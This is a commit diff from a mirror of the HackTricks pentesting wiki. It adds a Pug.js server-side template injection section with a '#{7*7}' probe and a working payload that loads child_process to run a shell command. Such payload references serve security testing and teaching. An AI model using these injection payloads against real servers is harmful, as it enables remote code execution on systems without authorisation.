mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 01:17:36 +00:00
Added PugJs SSTI
This commit is contained in:
parent
06915d8d21
commit
c08b86f73b
1 changed files with 9 additions and 0 deletions
|
@ -247,6 +247,15 @@ wrtz%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%
|
|||
|
||||
* [https://appcheck-ng.com/template-injection-jsrender-jsviews/](https://appcheck-ng.com/template-injection-jsrender-jsviews/)
|
||||
|
||||
### PugJj \(NodeJS\)
|
||||
|
||||
* #{7*7} = 49
|
||||
* #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
|
||||
|
||||
#### More information
|
||||
|
||||
* [https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/](https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/)
|
||||
|
||||
### ERB \(Ruby\)
|
||||
|
||||
* `{{7*7}} = {{7*7}}`
|
||||
|
|
Loading…
Reference in a new issue